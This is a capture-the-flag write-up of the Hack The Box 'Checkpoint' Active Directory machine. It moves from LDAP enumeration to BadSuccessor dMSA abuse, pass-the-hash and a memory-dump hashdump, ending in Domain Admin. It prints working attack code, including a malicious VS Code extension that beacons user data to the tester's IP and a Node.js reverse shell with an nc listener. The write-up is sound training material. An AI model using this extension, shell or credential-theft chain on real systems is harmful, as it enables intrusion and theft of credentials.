Skip to content

HTB Checkpoint writeup

A technical writeup for educational purposes, covering only an authorized, isolated Hack The Box lab.

Checkpoint was a Windows Medium box centered on AD enumeration and privilege abuse, but its final stages led through SMB shares, a VS Code extension, a VMware snapshot, and memory forensics.

In short, the route was alex.turner -> mark.davies -> ryan.brooks -> svc_deploy -> VMBackups -> Administrator. AD rights were abused along the way, but immediately before root, the decisive step was methodical enumeration: extracting a hash from a backup and testing whether it had been reused.

ItemValue
BoxCheckpoint
PlatformHack The Box
OSWindows
DifficultyMedium
alex.turner / Checkpoint2024!
|
| LDAP/SMB enumeration
| CREATE_CHILD msDS-DelegatedManagedServiceAccount on OU=Employees
v
BadSuccessor -> mark.davies hash
|
| mark.davies can write DevDrop
v
Malicious VSIX in DevDrop
|
| VS Code loads extension as ryan.brooks
v
ryan.brooks shell
|
| GenericWrite over svc_deploy
v
BadSuccessor -> svc_deploy hash
|
| WinRM + VMBackups READ
v
Download Windows Server 2019-Snapshot1.vmem
|
| Volatility hashdump
v
Local Administrator NTLM hash
|
| Hash reused for CHECKPOINT\Administrator
v
Domain Admin shell -> root.txt
10.129.13.247 DC01.checkpoint.htb checkpoint.htb DC01

/etc/hosts:

10.129.13.247 DC01.checkpoint.htb checkpoint.htb DC01

I began with an aggressive scan of all ports using Nmap.

Terminal window
nmap -sS -A -p- --min-rate 10000 10.129.13.247 > checkpoint.nmap

The full checkpoint.nmap output follows.

Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-14 04:08 +0900
Nmap scan report for 10.129.13.247
Host is up (0.43s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-14 02:08:31Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
49712/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2022
Aggressive OS guesses: Microsoft Windows Server 2022 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-06-14T02:09:41
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: 6h59m58s
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 373.29 ms 10.10.16.1
2 558.11 ms 10.129.13.247
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.63 seconds

The key observations from this Nmap scan were:

  • The combination of 53/88/389/445/464/3268/9389 strongly indicated an AD DC.
  • Ports 389 and 3268 reported Domain: checkpoint.htb, providing the domain name and an entry point for LDAP enumeration.
  • Port 5985 was open, so WinRM was worth trying once valid credentials were available.
  • Ports 636/3269 were labeled ldapssl? / globalcatLDAPssl?, but subsequent TLS handshakes were reset. I did not assume LDAPS would be reliable.
  • smb2-security-mode showed signing required. I focused on valid credentials, Kerberos, and LDAP rather than NTLM relay.
  • clock-skew: 6h59m58s was critical. It could break Kerberos tools and affect BloodHound/RustHound.
  • The only web-facing port was WinRM’s HTTPAPI on 5985, so this was not an ordinary web application foothold.

The clocks differed by about seven hours.

smb2-time date: 2026-06-14T02:09:41
clock-skew: 6h59m58s

I used faketime for commands that used Kerberos.

Terminal window
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' <command>

faketime '+7h' was not interpreted correctly in this environment, so I used '+7 hours'.

alex.turner / Checkpoint2024!

SMB.

Terminal window
netexec smb 10.129.13.247 -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' --shares

Important results:

DevDrop READ VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
IPC$ READ
NETLOGON READ
SYSVOL READ
VMBackups

As alex.turner, I had only READ access to DevDrop and could not use VMBackups.

WinRM was also unavailable.

Terminal window
netexec winrm 10.129.13.247 -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!'
[-] checkpoint.htb\alex.turner:Checkpoint2024!

AS-REP roasting and ordinary Kerberoasting yielded nothing initially.

Terminal window
GetUserSPNs.py checkpoint.htb/alex.turner:'Checkpoint2024!' \
-dc-ip 10.129.13.247 -request -outputfile kerberoast.hashes
GetNPUsers.py checkpoint.htb/alex.turner:'Checkpoint2024!' \
-dc-ip 10.129.13.247 -request -outputfile asrep.hashes
No entries found!

I enumerated users, groups, and computers.

Terminal window
netexec ldap 10.129.13.247 -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' --users --groups --computers

Notable users:

alex.turner
ryan.brooks
svc_deploy Deployment service account
max.palmer

I checked svc_deploy’s memberships.

Terminal window
netexec ldap 10.129.13.247 -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' \
--query "(sAMAccountName=svc_deploy)" \
"sAMAccountName memberOf description userAccountControl"
description Deployment service account
memberOf CN=BackupAccess,OU=ServiceAccounts,DC=checkpoint,DC=htb
CN=Remote Management Users,CN=Builtin,DC=checkpoint,DC=htb
userAccountControl 66048
sAMAccountName svc_deploy

At this point, svc_deploy looked promising. Its Remote Management Users membership suggested that WinRM might work if I obtained its credentials. BackupAccess would later lead to the VMBackups share.

Groups of interest:

Terminal window
netexec ldap 10.129.13.247 -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' \
--query "(|(cn=DevTeam)(cn=IT-Staff)(cn=VPN-Users)(cn=Domain Admins)(cn=Group Policy Creator Owners))" \
"cn member"

Important results:

DevTeam:
CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
IT-Staff:
CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
VPN-Users:
CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
Domain Admins:
CN=max.palmer,CN=Users,DC=checkpoint,DC=htb
CN=Administrator,CN=Users,DC=checkpoint,DC=htb
Group Policy Creator Owners:
CN=Administrator,CN=Users,DC=checkpoint,DC=htb

The fact that max.palmer was in Domain Admins remained a useful clue to the end. I ultimately reached root through reuse of an Administrator hash instead of through max.palmer.

BloodHound initially failed after falling back to LDAPS. The cause was clock skew.

Failed to get Kerberos TGT ... KRB_AP_ERR_SKEW(Clock skew too great)
LDAP Authentication is refused because LDAP signing is enabled.
Trying to connect over LDAPS instead...
socket ssl wrapping error: [Errno 104] Connection reset by peer

The sequence was:

  1. The tool tried Kerberos.
  2. Clock skew caused it to fail.
  3. It fell back to NTLM LDAP.
  4. LDAP signing requirements caused that to be rejected.
  5. It fell back to LDAPS.
  6. LDAPS/GCSSL then failed because the connection was reset.

The right response was to correct the Kerberos clock skew rather than repair LDAPS.

RustHound initially failed to resolve the realm as well.

Cannot find KDC for realm "CHECKPOINT.HTB"

Collection succeeded after adjusting /etc/hosts, the Kerberos configuration, and faketime.

Terminal window
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \
rusthound-ce -d checkpoint.htb -f DC01.checkpoint.htb \
-u alex.turner@checkpoint.htb -k -z

The important BloodHound/RustHound findings were:

alex.turner:
Could CREATE_CHILD msDS-DelegatedManagedServiceAccount under OU=Employees
ryan.brooks:
Had GenericWrite over svc_deploy
svc_deploy:
Remote Management Users
BackupAccess
max.palmer:
Domain Admins

A hint mentioned AD CS/ESC in general terms, but testing showed it was a dead end.

Terminal window
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \
certipy find -k \
-target DC01.checkpoint.htb \
-dc-ip 10.129.13.247 \
-ldap-scheme ldap \
-stdout -vulnerable -debug
[*] Found 0 certificate templates
[*] Found 0 certificate authorities
[*] Found 0 enabled certificate templates
Certificate Authorities : [!] Could not find any CAs
Certificate Templates : [!] Could not find any certificate templates

I checked again after obtaining svc_deploy.

Terminal window
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \
certipy find \
-u svc_deploy@checkpoint.htb \
-hashes :e16081eb077aca74bdbf8af12af43ac9 \
-dc-ip 10.129.13.247 \
-target DC01.checkpoint.htb \
-ldap-scheme ldap \
-stdout -vulnerable
[*] Found 0 certificate templates
[*] Found 0 certificate authorities
Certificate Authorities : [!] Could not find any CAs
Certificate Templates : [!] Could not find any certificate templates

PKINIT also failed.

KDC_ERR_PADATA_TYPE_NOSUPP

winPEAS reported the following as well.

Certificate Authority not found. Skipping.
No templates with dangerous rights found (checked 0).

alex.turner could create a dMSA under OU=Employees.

msDS-DelegatedManagedServiceAccount: CREATE_CHILD

I first tried BadSuccessor against mark.davies.

Terminal window
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \
bloodyAD --host DC01.checkpoint.htb -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' \
add badSuccessor checkpoint-mark \
-t 'CN=mark.davies,OU=Employees,DC=checkpoint,DC=htb' \
--ou 'OU=Employees,DC=checkpoint,DC=htb'

Automatic retrieval failed with KDC_ERR_ETYPE_NOTSUPP, but the dMSA and target link had been created.

CN=checkpoint-mark,OU=Employees,DC=checkpoint,DC=htb
msDS-SupersededServiceAccountState: 2
msDS-SupersededManagedAccountLink: CN=checkpoint-mark,OU=Employees,DC=checkpoint,DC=htb

I used badS4U2self manually.

Terminal window
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \
badS4U2self \
'kerberos+pw://checkpoint.htb\alex.turner:Checkpoint2024%21@10.129.13.247/?etype=18&dns=10.129.13.247' \
'krbtgt/checkpoint.htb@checkpoint.htb' \
'checkpoint-mark$@checkpoint.htb' \
--dmsa --ccache checkpoint-mark.ccache -v

The resulting key:

dMSA current keys:
AES256: 4c07c662152bbabd0f6fb315a37285090de20b0dfb9f9960973eb896d7520b13
AES128: e2343d27056dbac43b4848097025b2a7
RC4: 24e91eda5448004829cbde8bcde949a7
dMSA previous keys:
RC4: 0b28e49d9deb96f99d74578e214faec2

The RC4 value under previous keys worked as the NTLM hash for mark.davies.

Terminal window
netexec smb DC01.checkpoint.htb -d checkpoint.htb \
-u mark.davies -H 0b28e49d9deb96f99d74578e214faec2 --shares

Important results:

[+] checkpoint.htb\mark.davies:0b28e49d9deb96f99d74578e214faec2
DevDrop READ,WRITE VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
VMBackups

mark.davies could not use WinRM and was denied access to VMBackups. Write access to DevDrop, however, provided the next foothold.

The description of DevDrop was quite specific.

VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0

It suggested that placing a .vsix file there might cause someone’s VS Code to load it.

I first used an extension that only called back to identify the execution account.

package.json:

{
"name": "checkpoint-tools-2",
"displayName": "Checkpoint Tools 2",
"version": "1.0.1",
"publisher": "checkpoint",
"engines": { "vscode": "^1.118.0" },
"activationEvents": ["*", "onStartupFinished"],
"extensionKind": ["workspace"],
"main": "./extension.js",
"categories": ["Other"]
}

extension.js:

const os = require('os');
const http = require('http');
function activate() {
const msg = `host=${os.hostname()} user=${os.userInfo().username} time=${new Date().toISOString()}\n`;
http.get('http://10.10.16.45:8000/vsix?' + encodeURIComponent(msg)).on('error', () => {});
}
function deactivate() {}
module.exports = { activate, deactivate };

I packaged it.

Terminal window
npx --yes @vscode/vsce package

I uploaded it to DevDrop as mark.davies.

Terminal window
smbclient //DC01.checkpoint.htb/DevDrop \
-U 'checkpoint.htb/mark.davies%0b28e49d9deb96f99d74578e214faec2' \
--pw-nt-hash -m SMB3 \
-c 'put checkpoint-tools-2-1.0.1.vsix'

HTTP callback.

GET /vsix?host=DC01 user=ryan.brooks time=2026-06-14T06:52:49.154Z

The VSIX ran as ryan.brooks.

I then replaced it with a reverse-shell version.

const net = require('net');
const cp = require('child_process');
function connect() {
const s = net.connect(4444, '10.10.16.45', () => {
const sh = cp.spawn('cmd.exe', [], {
windowsHide: true,
stdio: ['pipe', 'pipe', 'pipe']
});
s.pipe(sh.stdin);
sh.stdout.pipe(s);
sh.stderr.pipe(s);
sh.on('exit', () => s.end());
});
s.on('error', () => setTimeout(connect, 10000));
s.on('close', () => setTimeout(connect, 10000));
}
function activate() {
connect();
}
function deactivate() {}
module.exports = { activate, deactivate };

Listener.

Terminal window
rlwrap -cAr nc -lvnp 4444

I obtained a shell as ryan.brooks and retrieved the user flag.

Terminal window
type C:\Users\ryan.brooks\Desktop\user.txt

I also investigated ryan.brooks’s profile.

Terminal window
dir "%APPDATA%\Code\User\globalStorage" /s /b
C:\Users\ryan.brooks\AppData\Roaming\Code\User\globalStorage\state.vscdb
C:\Users\ryan.brooks\AppData\Roaming\Code\User\globalStorage\state.vscdb.backup

Because state.vscdb was locked, I copied it with read sharing.

Terminal window
$src=Join-Path $env:APPDATA 'Code\User\globalStorage\state.vscdb'
$dst=Join-Path $env:TEMP 'state.vscdb.copy'
$in=[IO.File]::Open($src,[IO.FileMode]::Open,[IO.FileAccess]::Read,[IO.FileShare]::ReadWrite)
$out=[IO.File]::Open($dst,[IO.FileMode]::Create,[IO.FileAccess]::Write,[IO.FileShare]::None)
$in.CopyTo($out)
$out.Close()
$in.Close()

I searched it.

Terminal window
$p=Join-Path $env:TEMP 'state.vscdb.copy'
$s=[Text.Encoding]::UTF8.GetString([IO.File]::ReadAllBytes($p))
$s -split '[\x00-\x1f]+' |
? {$_ -match 'svc_deploy|password|passwd|pwd|backup|deploy|secret|token|credential|winrm|vmbackup'} |
select -First 80

This yielded no usable credentials. The VS Code path served to obtain the shell.

BloodHound showed that ryan.brooks had GenericWrite over svc_deploy.

Running BadSuccessor against svc_deploy as alex.turner alone created the dMSA but failed when updating attributes on svc_deploy.

Terminal window
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \
bloodyAD --host DC01.checkpoint.htb -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' \
add badSuccessor checkpoint-svc \
-t 'CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb' \
--ou 'OU=Employees,DC=checkpoint,DC=htb'
[+] Creating DMSA checkpoint-svc$ in OU=Employees,DC=checkpoint,DC=htb
[+] Impersonating: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
LDAPModifyException: insufficientAccessRights for CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb

The dMSA itself had been created.

Terminal window
netexec ldap DC01.checkpoint.htb -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' \
--query '(sAMAccountName=checkpoint-svc$)' \
'distinguishedName msDS-ManagedAccountPrecededByLink msDS-DelegatedMSAState'
distinguishedName CN=checkpoint-svc,OU=Employees,DC=checkpoint,DC=htb
msDS-DelegatedMSAState 2
msDS-ManagedAccountPrecededByLink CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb

I therefore updated svc_deploy’s attributes manually from the ryan.brooks shell.

Terminal window
$u=[ADSI]'LDAP://CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb'
$u.PutEx(2,'msDS-SupersededManagedAccountLink',@('CN=checkpoint-svc,OU=Employees,DC=checkpoint,DC=htb'))
$u.Put('msDS-SupersededServiceAccountState',2)
$u.SetInfo()

I verified the change.

Terminal window
netexec ldap DC01.checkpoint.htb -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' \
--query '(sAMAccountName=svc_deploy)' \
'msDS-SupersededManagedAccountLink msDS-SupersededServiceAccountState'
msDS-SupersededServiceAccountState 2
msDS-SupersededManagedAccountLink CN=checkpoint-svc,OU=Employees,DC=checkpoint,DC=htb

I used badS4U2self to obtain the previous key from the dMSA’s TGS.

Terminal window
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \
badS4U2self \
'kerberos+pw://checkpoint.htb\alex.turner:Checkpoint2024%21@10.129.13.247/?etype=18&dns=10.129.13.247' \
'krbtgt/checkpoint.htb@checkpoint.htb' \
'checkpoint-svc$@checkpoint.htb' \
--dmsa --ccache checkpoint-svc.ccache -v
dMSA current keys:
AES256: 408219f3c004ed32c5da3ea25316c477d0881d0e1ceea397be200fa76639c45c
AES128: c7cbdb50193478a1ebfd3819af93cc03
RC4: 6d094f4755a41b8b08e98f72239d1d77
dMSA previous keys:
RC4: e16081eb077aca74bdbf8af12af43ac9

The RC4 value under previous keys worked as the NTLM hash for svc_deploy.

Terminal window
netexec winrm DC01.checkpoint.htb -d checkpoint.htb \
-u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9
[+] checkpoint.htb\svc_deploy:e16081eb077aca74bdbf8af12af43ac9 (Pwn3d!)

WinRM.

Terminal window
uv run evil-winrm-py -i 10.129.13.247 \
-u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9

whoami /all.

checkpoint\svc_deploy
Groups:
BUILTIN\Remote Management Users
CHECKPOINT\BackupAccess
Privileges:
SeMachineAccountPrivilege
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege

Despite the name BackupAccess, the account lacked SeBackupPrivilege. I therefore treated this as access to a specific share rather than the ability to bypass NTFS and read files on the DC.

SMB shares.

Terminal window
netexec smb DC01.checkpoint.htb -d checkpoint.htb \
-u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9 --shares
IPC$ READ
NETLOGON READ
SYSVOL READ
VMBackups READ

I accessed VMBackups as svc_deploy.

Terminal window
smbclient //DC01.checkpoint.htb/VMBackups \
-U 'checkpoint.htb/svc_deploy%e16081eb077aca74bdbf8af12af43ac9' \
--pw-nt-hash -m SMB3
smb: \> ls
NightlyBackup_2024-11-01
smb: \> cd NightlyBackup_2024-11-01
smb: \NightlyBackup_2024-11-01\> ls
memory forensics
smb: \NightlyBackup_2024-11-01\> cd "memory forensics"
smb: \NightlyBackup_2024-11-01\memory forensics\> ls
Windows Server 2019-000001.vmdk 106496000
Windows Server 2019-Snapshot1.vmem 2147483648
Windows Server 2019-Snapshot1.vmsn 138164859
Windows Server 2019.nvram 270840
Windows Server 2019.scoreboard 7642
Windows Server 2019.vmdk 10199695360
Windows Server 2019.vmsd 502
Windows Server 2019.vmx 2749
Windows Server 2019.vmxf 274

The directory name memory forensics and the .vmem file were the likely lead. Windows Server 2019.vmdk was 10 GB, making it unlikely that the intended path required everyone to download the base disk. I downloaded .vmem first.

Downloads of the large file were unstable with smbclient and evil-winrm, so I used an SMB downloader that supported resuming.

Terminal window
python3 smb_range_get.py \
--target DC01.checkpoint.htb --host 10.129.13.247 \
--domain checkpoint.htb -u svc_deploy \
-H e16081eb077aca74bdbf8af12af43ac9 \
--share VMBackups \
--remote 'NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem' \
--output 'vmbackup/Windows Server 2019-Snapshot1.vmem' \
--chunk 1048576 \
--timeout 600

The smb_range_get.py I used follows.

#!/usr/bin/env python3
import argparse
import ntpath
import os
import sys
import time
from impacket.smbconnection import SMBConnection
try:
from impacket.smb3structs import (
FILE_ATTRIBUTE_NORMAL,
FILE_NON_DIRECTORY_FILE,
FILE_OPEN,
FILE_READ_DATA,
FILE_SHARE_DELETE,
FILE_SHARE_READ,
FILE_SHARE_WRITE,
)
except ImportError:
FILE_READ_DATA = 0x00000001
FILE_SHARE_READ = 0x00000001
FILE_SHARE_WRITE = 0x00000002
FILE_SHARE_DELETE = 0x00000004
FILE_NON_DIRECTORY_FILE = 0x00000040
FILE_OPEN = 0x00000001
FILE_ATTRIBUTE_NORMAL = 0x00000080
def parse_hashes(value):
if not value:
return "", ""
if ":" in value:
lmhash, nthash = value.split(":", 1)
return lmhash, nthash
return "aad3b435b51404eeaad3b435b51404ee", value
def connect(args):
conn = SMBConnection(
remoteName=args.target,
remoteHost=args.host or args.target,
sess_port=args.port,
timeout=args.timeout,
)
lmhash, nthash = parse_hashes(args.hashes)
conn.login(args.username, args.password or "", args.domain, lmhash, nthash)
return conn
def remote_size(conn, share, remote_path):
directory = ntpath.dirname(remote_path) or "\\"
basename = ntpath.basename(remote_path)
pattern = ntpath.join(directory, basename)
matches = conn.listPath(share, pattern)
for item in matches:
if item.get_longname().lower() == basename.lower():
return item.get_filesize()
raise FileNotFoundError(remote_path)
def main():
parser = argparse.ArgumentParser(description="Resume-friendly SMB file downloader")
parser.add_argument("--target", required=True, help="SMB server name, e.g. DC01.checkpoint.htb")
parser.add_argument("--host", help="SMB server IP/host if different from --target")
parser.add_argument("--domain", default="", help="Domain name")
parser.add_argument("-u", "--username", required=True)
parser.add_argument("-p", "--password", default="")
parser.add_argument("-H", "--hashes", default="", help="NT hash or LM:NT")
parser.add_argument("--share", required=True)
parser.add_argument("--remote", required=True, help="Remote path inside share")
parser.add_argument("--output", required=True)
parser.add_argument("--chunk", type=int, default=1024 * 1024, help="Read chunk size")
parser.add_argument("--timeout", type=int, default=60)
parser.add_argument("--port", type=int, default=445)
parser.add_argument("--sleep", type=float, default=2.0)
args = parser.parse_args()
remote_path = args.remote.replace("/", "\\").lstrip("\\")
os.makedirs(os.path.dirname(os.path.abspath(args.output)) or ".", exist_ok=True)
conn = connect(args)
size = remote_size(conn, args.share, remote_path)
conn.logoff()
offset = os.path.getsize(args.output) if os.path.exists(args.output) else 0
if offset > size:
raise RuntimeError(f"local file is larger than remote file: {offset} > {size}")
while offset < size:
conn = None
try:
conn = connect(args)
tid = conn.connectTree(args.share)
fid = conn.openFile(
tid,
remote_path,
desiredAccess=FILE_READ_DATA,
shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
creationOption=FILE_NON_DIRECTORY_FILE,
creationDisposition=FILE_OPEN,
fileAttributes=FILE_ATTRIBUTE_NORMAL,
)
with open(args.output, "ab") as out:
while offset < size:
want = min(args.chunk, size - offset)
data = conn.readFile(tid, fid, offset, want)
if not data:
raise RuntimeError("empty read")
out.write(data)
offset += len(data)
pct = offset * 100 / size
print(f"\r{offset}/{size} bytes ({pct:.2f}%)", end="", flush=True)
conn.closeFile(tid, fid)
conn.disconnectTree(tid)
conn.logoff()
except KeyboardInterrupt:
print("\nInterrupted", file=sys.stderr)
raise
except Exception as exc:
print(f"\n[!] {type(exc).__name__}: {exc}; retrying from offset {offset}", file=sys.stderr)
try:
if conn:
conn.logoff()
except Exception:
pass
time.sleep(args.sleep)
print()
if __name__ == "__main__":
main()

As a side note, Windows Server 2019-000001.vmdk was a delta VMDK whose descriptor named a parent disk.

parentFileNameHint="Windows Server 2019.vmdk"

Without the base VMDK, it was difficult to use as a disk chain.

I ran Volatility 3 against .vmem.

Terminal window
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.info
Volatility 3 Framework 2.28.1
Major/Minor 15.17763
NtProductType NtProductServer
SystemTime 2026-05-09 14:08:58+00:00
NtSystemRoot C:\Windows

I checked the processes.

Terminal window
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.pslist |
rg -i 'lsass|winlogon|explorer|powershell|cmd'
winlogon.exe
lsass.exe
explorer.exe

I checked the sessions.

Terminal window
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.sessions

Important results:

WORKGROUP/WIN-0DG6SJAEUTA$
WIN-0DG6SJAEUTA/Administrator
1 Console 1304 explorer.exe WIN-0DG6SJAEUTA/Administrator

This .vmem contained memory from a workgroup Windows Server 2019 VM named WIN-0DG6SJAEUTA, not the checkpoint.htb DC. Administrator was logged in.

Registry hives were also present in memory.

Terminal window
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.registry.hivelist
\SystemRoot\System32\Config\SAM
\SystemRoot\System32\Config\SECURITY
\SystemRoot\System32\Config\SYSTEM
\??\C:\Users\Administrator\ntuser.dat

Hashdump.

Terminal window
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.hashdump

Or, with the newer plugin name:

Terminal window
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.registry.hashdump

The result:

User rid lmhash nthash
Administrator 500 aad3b435b51404eeaad3b435b51404ee f29e9c014295b9b32139b09a2790be3b
Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount 503 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount 504 aad3b435b51404eeaad3b435b51404ee 28f8d934dee90b2ec824351cb0844479

cachedump returned nothing.

Terminal window
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.cachedump

lsadump showed only DPAPI_SYSTEM and NL$KM, with no direct domain credentials.

Terminal window
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.lsadump

The important finding was the NTLM hash for Administrator.

f29e9c014295b9b32139b09a2790be3b

This was the local hash for WIN-0DG6SJAEUTA\Administrator, but it had been reused for CHECKPOINT\Administrator on the DC.

I tested it over SMB first.

Terminal window
netexec smb DC01.checkpoint.htb -d checkpoint.htb \
-u Administrator -H f29e9c014295b9b32139b09a2790be3b
[+] checkpoint.htb\Administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)

WinRM also worked.

Terminal window
netexec winrm DC01.checkpoint.htb -d checkpoint.htb \
-u Administrator -H f29e9c014295b9b32139b09a2790be3b
[+] checkpoint.htb\Administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)

Evil-WinRM.

Terminal window
uv run evil-winrm-py -i 10.129.13.247 \
-u Administrator -H f29e9c014295b9b32139b09a2790be3b

C:\Users\Administrator\Desktop was empty; root.txt was not there.

Terminal window
cd C:\Users\Administrator\Desktop
type root.txt
Cannot find path 'C:\Users\Administrator\Desktop\root.txt' because it does not exist.

I checked the identity to be sure.

Terminal window
whoami /all
checkpoint\administrator
Groups:
BUILTIN\Administrators
CHECKPOINT\Domain Admins
CHECKPOINT\Schema Admins
CHECKPOINT\Enterprise Admins
Privileges:
SeBackupPrivilege
SeRestorePrivilege
SeDebugPrivilege
SeTakeOwnershipPrivilege
...

Domain Admin rights were confirmed. The flag was in another profile.

Terminal window
Get-ChildItem C:\Users -Force
Administrator
max.palmer
Public
ryan.brooks
svc_deploy

I searched for root.txt.

Terminal window
Get-ChildItem C:\Users -Filter root.txt -Recurse -Force -ErrorAction SilentlyContinue |
Select-Object FullName
C:\Users\max.palmer\Desktop\root.txt

I retrieved it.

Terminal window
type C:\Users\max.palmer\Desktop\root.txt
[REDACTED]

Ports 636 and 3269 appeared open, but the handshake was reset.

Terminal window
openssl s_client -connect 10.129.13.247:3269 \
-servername DC01.checkpoint.htb -showcerts </dev/null
no peer certificate available
SSL handshake has read 0 bytes
write:errno=104

BloodHound’s LDAPS fallback failure was a symptom; the root cause was Kerberos clock skew.

I saw Certificate Service DCOM Access and other certificate-related strings, but there was no CA or template. I ruled out ESC paths.

I also tried setting an SPN on svc_deploy from ryan.brooks to Kerberoast it.

I ran the command from the VSIX.

const cmd = 'setspn.exe -S http/checkpoint-vsix svc_deploy';

I obtained a TGS.

Terminal window
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \
impacket-GetUserSPNs checkpoint.htb/alex.turner:'Checkpoint2024!' \
-dc-ip 10.129.13.247 \
-dc-host DC01.checkpoint.htb \
-request-user svc_deploy \
-outputfile svc_deploy.hash
ServicePrincipalName Name MemberOf
http/checkpoint-vsix svc_deploy CN=BackupAccess,OU=ServiceAccounts,DC=checkpoint,DC=htb

I changed msDS-SupportedEncryptionTypes to try to obtain an RC4 TGS, but rockyou did not crack it.

Terminal window
$u=[ADSI]'LDAP://CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb'
$u.Put('msDS-SupportedEncryptionTypes',4)
$u.SetInfo()
Terminal window
hashcat -m 13100 svc_deploy_rc4.hash /usr/share/wordlists/rockyou.txt
Status...........: Exhausted
Recovered........: 0/1

This was not on the final path.

winPEAS showed the following, but svc_deploy was not a local administrator.

CredentialGuard is not enabled
LSA Protection is not enabled
cachedlogonscount is 10
DefaultUserName: ryan.brooks
max.palmer: User Type Administrator

DefaultPassword was empty, and the account lacked SeBackupPrivilege. Reading VMBackups was the main path, rather than local privilege escalation.

winPEAS detected a machine certificate.

Issuer : CN=dc01.checkpoint.htb
Subject : CN=dc01.checkpoint.htb
HasPrivateKey : True
KeyExportable : True
Thumbprint : F6F448711CBD3E6424F88B0072DEE6152045F180

Exporting it as svc_deploy, however, returned an error that the keyset did not exist.

Terminal window
certutil -store My F6F448711CBD3E6424F88B0072DEE6152045F180
certutil -exportPFX My F6F448711CBD3E6424F88B0072DEE6152045F180 C:\Users\svc_deploy\Documents\dc01.pfx
Missing stored keyset
CertUtil: -exportPFX command FAILED: 0x80090016 NTE_BAD_KEYSET
CertUtil: Keyset does not exist

Since AD CS and PKINIT were dead ends too, I did not pursue it.

